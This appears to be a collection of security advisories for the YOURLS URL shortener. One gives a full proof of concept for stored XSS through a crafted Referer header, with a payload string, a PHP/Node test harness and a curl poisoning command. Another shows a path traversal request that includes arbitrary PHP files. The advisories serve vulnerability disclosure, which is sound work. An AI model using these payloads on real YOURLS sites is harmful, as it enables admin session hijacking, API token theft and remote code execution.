Impact YOURLS through 1.7.3 is affected by a type juggling vulnerability in the API component that can result in login bypass.

Patches https://github.com/YOURLS/YOURLS/releases/tag/1.7.4 https://github.com/YOURLS/YOURLS/pull/2542

References https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14537 https://github.com/Wocanilo/CVE-2019-14537

For more information If you have any questions or comments about this advisory: Open an issue in YOURLS repository

Improper Restriction of Rendered UI Layers or Frames in yourls

Summary

YOURLS stores the HTTP Referer header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted Referer header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.

This is reachable in default private installations when authenticated users view stats, and in documented configurations where YOURLSPRIVATEINFOS is set to false to make statistics pages public.

Details

The vulnerable source-to-sink path is:

text HTTP Referer header -> yourlsgetreferrer() -> yourlssanitizeurlsafe() -> yourlslogredirect() -> log table referrer column -> yourls-infos.php referrer aggregation -> yourlsgetdomain() -> yourlsstatspie() -> yourlsgooglearraytodatatable() -> inline JavaScript

Relevant code:

- includes/functions.php:240-243: yourlsgetreferrer() reads $SERVER['HTTPREFERER'], calls yourlssanitizeurlsafe(), and truncates the result to 200 bytes. - includes/functions.php:294-307: yourlsredirectshorturl() calls yourlslogredirect() before redirecting the visitor. - includes/functions.php:516-545: yourlslogredirect() stores the sanitized referrer in the log table. - yourls-infos.php:60-82: the statistics page reads logged referrers and groups them by yourlsgetdomain($row->referrer). - yourls-infos.php:493-498: the statistics page passes referrer domains to yourlsstatspie(). - includes/functions-infos.php:338-355: yourlsgooglearraytodatatable() manually concatenates labels into JavaScript as ['$label', ...] without escaping single quotes, backslashes, or other JavaScript string metacharacters. - includes/functions-formatting.php:141-143 and includes/functions-formatting.php:555-609: yourlssanitizeurlsafe() removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including ', [, ], ,, and parentheses.

A crafted referrer host such as:

text x',1],['marker',alert(1)],['z.tld

survives sanitization when used in a URL like:

text http://x',1],['marker',alert(1)],['z.tld/path

It is then rendered into chart JavaScript like:

javascript var data = google.visualization.arrayToDataTable([ ['x',1],['marker',alert(1)],['z.tld',1] ]);

The alert(1) call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.

PoC

The following local harness was run against commit c3fc8e2370d240403c17c2e4a70e1e234759a5b3. It exercises YOURLS' real URL sanitizer, domain extraction, and yourlsstatspie() chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and alert().

sh docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d displaystartuperrors=0 -r ' define("IDNADEFAULT",0); define("INTLIDNAVARIANTUTS46",1); function yourlsaddaction(){ } function yourlsdoaction(){ } function yourlsapplyfilter($tag,$value){ return $value; } function yourlsgetprotocol($url){ pregmatch("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; } function yourlsisallowedprotocol($url,$protocols=[]){ if(!$protocols){ global $yourlsallowedprotocols; $protocols=$yourlsallowedprotocols; } return inarray(yourlsgetprotocol($url), $protocols); } if(!functionexists("idntoutf8")){ function idntoutf8($domain,$flags=0,$variant=0){ return $domain; } } require "includes/vendor/autoload.php"; require "includes/functions-kses.php"; yourlsksesinit(); require "includes/functions-formatting.php"; require "includes/functions-infos.php"; $ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path"; $san=substr(yourlssanitizeurlsafe($ref),0,200); $host=yourlsgetdomain($san); obstart(); yourlsstatspie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stattabsourceref"); $html=obgetclean(); pregmatch("#<script[^>]>(.?)</script>#s", $html, $m); $js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".jsonencode($san)."); console.log(\x27host=\x27+".jsonencode($host)."); console.log(\x27pwned=\x27+global.pwned);"; echo $js; ' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js

Observed output:

text san=http://x',1],['marker',alert(1)],['z.tld/path host=x',1],['marker',alert(1)],['z.tld pwned=1

A request that would poison statistics for an existing short URL in a local YOURLS instance is:

sh curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \ http://localhost/<existing-keyword>

Then view the affected short URL's stats page:

text http://localhost/<existing-keyword>+

The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.

Impact

Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.

In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.

The XSS can also fetch /admin/tools.php and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.

Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.

Credits - Thai Son Dinh from VinSOC Labs (R&D)

Cross-Site Request Forgery (CSRF) in GitHub repository yourls/yourls prior to 1.8.3.

Cross-site Scripting in yourls

Multiple Stored Cross Site Scripting (XSS) vulnerabilities exist in the YOURLS Admin Panel, Versions 1.5 - 1.7.10. An authenticated user must modify a PHP plugin with a malicious payload and upload it, resulting in multiple stored XSS issues.

Cross-site Scripting in yourls

Summary

YOURLS versions ≤1.10.4 contain an unauthenticated path traversal vulnerability that allows attackers to include and execute arbitrary PHP files on the server without any credentials.

Details

The vulnerability exists because YOURLS uses URL sanitization functions (yourlssanitizeurl(), yourlsescurl()) to filter request paths, but these functions are designed to clean URLs, not filesystem paths. They preserve / and . characters, allowing ../ sequences to pass through unfiltered.

The unsanitized keyword is then directly concatenated into a filesystem path and passed to fileexists() and later include() operations, enabling path traversal attacks.

Data Flow: HTTP Request URI (with ../) ↓ yourlsgetrequest() (no sanitization) ↓ yourlssanitizeurl() (preserves / and .) ↓ yourlsescurl() (permits / and . via regex) ↓ Keyword extraction (preserves ../) ↓ fileexists(YOURLSPAGEDIR . "/$keyword.php") ← Sink ↓ include(YOURLSPAGEDIR . "/$keyword.php") ← Code Execution

Proof of Concept (POC)

In the concept validation, we assume that the attacker has uploaded a test.php file to the web root directory, but it cannot be accessed directly. (Of course, it could also be any path, such as /tmp/test.php)

Setup Place a test file in web root:

./test.php: php <?php phpinfo(); ?> <img width="502" height="126" alt="image" src="https://github.com/user-attachments/assets/14f33f90-625b-4c65-8abf-244af2385f68" />

Attack Request http GET /../../test HTTP/1.1 Host: target.com Connection: close

Response (Apache Environment)

<img width="1704" height="614" alt="image" src="https://github.com/user-attachments/assets/8750a3c0-a96c-4896-a087-d7b5cfeccd30" />

Impact 1. Remote execution of uploaded PHP files – An attacker uploads a malicious PHP file to an arbitrary location on the server (e.g., via another vulnerability or file upload feature), obtains its absolute path but cannot access it directly. The attacker then leverages this vulnerability to include and execute the PHP file, gaining code execution privileges.

2. Indirect triggering of PHP code injection – If a PHP code injection point exists on the system (e.g., log injection, session injection) but the injected file cannot be accessed directly due to configuration restrictions, the attacker can use this vulnerability to include and execute the injected code, achieving remote command execution or further compromise.

Your Own URL Shortener (YOURLS) 1.5 allows remote attackers to obtain sensitive information via a direct request to a .php file, which reveals the installation path in an error message, as demonstrated by includes/auth.php and certain other files.